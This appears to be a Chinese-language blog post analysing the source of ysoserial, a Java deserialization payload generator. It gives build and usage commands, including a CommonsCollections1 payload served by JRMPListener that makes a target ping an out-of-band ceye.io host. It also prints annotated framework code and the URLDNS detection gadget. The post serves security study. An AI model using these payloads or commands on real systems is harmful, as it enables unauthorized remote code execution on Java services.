ysoserial系列之工具浅析

git clone https://github.com/frohoff/ysoserial.git

mvn clean package -DskipTests

java -jar ysoserial.jar [payload] '[command]'

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://xxx.dnslog.cn/

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2  rce.267hqw.ceye.io'

<plugin>  <artifactId>maven-assembly-plugin</artifactId>  <configuration>    <finalName>${project.artifactId}-${project.version}-all</finalName>    <appendAssemblyId>false</appendAssemblyId>    <archive>      <manifest>        <mainClass>ysoserial.GeneratePayload</mainClass>      </manifest>    </archive>                 <descriptor>assembly.xml</descriptor>             </configuration>  <executions>    <execution>      <id>make-assembly</id>      <phase>package</phase>      <goals>        <goal>single</goal>      </goals>    </execution>  </executions></plugin>

public class GeneratePayload {  private static final int INTERNAL_ERROR_CODE = 70;  private static final int USAGE_CODE = 64;
  public static void main(final String[] args) {        // 判断输入参数，第一个为payload类型，第二个为payload的参数    if (args.length != 2) {      printUsage();      System.exit(USAGE_CODE);    }    final String payloadType = args[0];    final String command = args[1];
        // 获取payload指定的类，从ysoserial.payload包中寻找        // 这里用到了泛型，指定类型为ObjectPayload接口类的实现类    final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);    if (payloadClass == null) {      System.err.println("Invalid payload type '" + payloadType + "'");      printUsage();      System.exit(USAGE_CODE);      return; // make null analysis happy    }
    try {            // 新建ObjectPayload类对象      final ObjectPayload payload = payloadClass.newInstance();            // 调用ObjectPayload类对象的getObject()函数来获取要序列化的payload对象，该对象将在反序列化时执行指定的命令      final Object object = payload.getObject(command);      PrintStream out = System.out;            // 序列化payload对象      Serializer.serialize(object, out);            // 释放payload对象      ObjectPayload.Utils.releasePayload(payload, object);    } catch (Throwable e) {      System.err.println("Error while generating or serializing payload");      e.printStackTrace();      System.exit(INTERNAL_ERROR_CODE);    }    System.exit(0);  }
    // 打印输入参数帮助文档  private static void printUsage() {    System.err.println("Y SO SERIAL?");    System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");    System.err.println("  Available payload types:");
    final List<Class<? extends ObjectPayload>> payloadClasses =      new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());    Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
        final List<String[]> rows = new LinkedList<String[]>();        rows.add(new String[] {"Payload", "Authors", "Dependencies"});        rows.add(new String[] {"-------", "-------", "------------"});        for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {             rows.add(new String[] {                payloadClass.getSimpleName(),                Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),                Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")            });        }
        final List<String> lines = Strings.formatTable(rows);
        for (String line : lines) {            System.err.println("     " + line);        }    }}

package ysoserial.payloads;

import java.lang.reflect.Modifier;import java.util.Iterator;import java.util.Set;
import org.reflections.Reflections;
import ysoserial.GeneratePayload;

// ObjectPayload接口类，payload包中的Gadget类都是其实现类，且必须重写getObject()函数@SuppressWarnings ( "rawtypes" )public interface ObjectPayload <T> {
    /*     * return armed payload object to be serialized that will execute specified     * command on deserialization     */    public T getObject ( String command ) throws Exception;
    // 内部类Utils    public static class Utils {
        // 通过扫描ClassPath来获取指定payload类        public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {            final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());            final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);            for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {                Class<? extends ObjectPayload> pc = iterator.next();                if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {                    iterator.remove();                }            }            return payloadTypes;        }

        // 在入口类GeneratePayload中调用获取指定payload类对象        @SuppressWarnings ( "unchecked" )        public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {            Class<? extends ObjectPayload> clazz = null;            try {                // 直接通过类名来获取指定类                clazz = (Class<? extends ObjectPayload>) Class.forName(className);            }            catch ( Exception e1 ) {}            if ( clazz == null ) {                try {                    // 如果上述获取不到，则通过指定GeneratePayload类所在包路径来获取payloads包中指定类                    return clazz = (Class<? extends ObjectPayload>) Class                            .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);                }                catch ( Exception e2 ) {}            }            if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {                clazz = null;            }            return clazz;        }

        // 新建指定payload类对象，主要为java -cp用法即调用exploit模块，用于生成服务协议相关的交互式序列化利用链        public static Object makePayloadObject ( String payloadType, String payloadArg ) {            // 获取指定payload类            final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);            if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {                throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
            }
            final Object payloadObject;            try {                // 新建payload类对象                final ObjectPayload payload = payloadClass.newInstance();                // 调用指定payload类的getObject()方法，生成Gadget对象并返回                payloadObject = payload.getObject(payloadArg);            }            catch ( Exception e ) {                throw new IllegalArgumentException("Failed to construct payload", e);            }            return payloadObject;        }

    // 释放payload对象        @SuppressWarnings ( "unchecked" )        public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {            if ( payload instanceof ReleaseableObjectPayload ) {                ( (ReleaseableObjectPayload) payload ).release(object);            }        }

        public static void releasePayload ( String payloadType, Object payloadObject ) {            final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);            if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {                throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
            }
            try {                final ObjectPayload payload = payloadClass.newInstance();                releasePayload(payload, payloadObject);            }            catch ( Exception e ) {                e.printStackTrace();            }
        }    }}

@PayloadTest(skip = "true")@Dependencies()@Authors({ Authors.GEBL })public class URLDNS implements ObjectPayload<Object> {
        public Object getObject(final String url) throws Exception {
                //Avoid DNS resolution during payload creation                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.                URLStreamHandler handler = new SilentURLStreamHandler();
                HashMap ht = new HashMap(); // HashMap that will contain the URL                URL u = new URL(null, url, handler); // URL to use as the Key                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
                return ht;        }
        public static void main(final String[] args) throws Exception {                PayloadRunner.run(URLDNS.class, args);        }
        /**         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior         * using the serialized object.</p>         *         * <b>Potential false negative:</b>         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the         * second resolution.</p>         */        static class SilentURLStreamHandler extends URLStreamHandler {
                protected URLConnection openConnection(URL u) throws IOException {                        return null;                }
                protected synchronized InetAddress getHostAddress(URL u) {                        return null;                }        }}

public class Serializer implements Callable<byte[]> {  private final Object object;  public Serializer(Object object) {    this.object = object;  }
  public byte[] call() throws Exception {    return serialize(object);  }
  public static byte[] serialize(final Object obj) throws IOException {    final ByteArrayOutputStream out = new ByteArrayOutputStream();    serialize(obj, out);    return out.toByteArray();  }
  public static void serialize(final Object obj, final OutputStream out) throws IOException {    final ObjectOutputStream objOut = new ObjectOutputStream(out);    objOut.writeObject(obj);  }
}

public class Deserializer implements Callable<Object> {  private final byte[] bytes;
  public Deserializer(byte[] bytes) { this.bytes = bytes; }
  public Object call() throws Exception {    return deserialize(bytes);  }
  public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {    final ByteArrayInputStream in = new ByteArrayInputStream(serialized);    return deserialize(in);  }
  public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {    final ObjectInputStream objIn = new ObjectInputStream(in);    return objIn.readObject();  }
  public static void main(String[] args) throws ClassNotFoundException, IOException {    final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));    Object object = deserialize(in);  }}

public static final void main ( final String[] args ) {
    if ( args.length < 3 ) {        System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");        System.exit(-1);        return;    }
    // 调用Utils类makePayloadObject()函数来获取参数指定的payload类对象    // 其中通过传入命令参数调用该指定payload类对象的getObject()方法，生成Gadget对象并返回    final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
    try {        int port = Integer.parseInt(args[ 0 ]);        System.err.println("* Opening JRMP listener on " + port);        JRMPListener c = new JRMPListener(port, payloadObject);        c.run();    }    catch ( Exception e ) {        System.err.println("Listener error");        e.printStackTrace(System.err);    }    Utils.releasePayload(args[1], payloadObject);}

// 用于从命令行本地运行漏洞利用的Gadget类@SuppressWarnings("unused")public class PayloadRunner {
    public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {    // 短暂替换JVM安全管理器为ExecCheckingSecurityManager来生成payload并返回序列化对象        // 为了保证payload的生成过程不会抛出异常    byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){      public byte[] call() throws Exception {        final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
        System.out.println("generating payload object(s) for command: '" + command + "'");
                // 获取payload对象        ObjectPayload<?> payload = clazz.newInstance();                final Object objBefore = payload.getObject(command);
                // 序列化payload对象并返回        System.out.println("serializing payload");        byte[] ser = Serializer.serialize(objBefore);        Utils.releasePayload(payload, objBefore);                return ser;    }});
    try {            // 反序列化触发payload      System.out.println("deserializing payload");      final Object objAfter = Deserializer.deserialize(serialized);    } catch (Exception e) {      e.printStackTrace();    }
  }
    // 获取默认测试命令即运行打开计算器    private static String getDefaultTestCmd() {      return getFirstExistingFile(          "C:\Windows\System32\calc.exe",            "/Applications/Calculator.app/Contents/MacOS/Calculator",            "/usr/bin/gnome-calculator",            "/usr/bin/kcalc"        );    }
    private static String getFirstExistingFile(String ... files) {        return "calc.exe";//        for (String path : files) {//            if (new File(path).exists()) {//                return path;//            }//        }//        throw new UnsupportedOperationException("no known test executable");    }}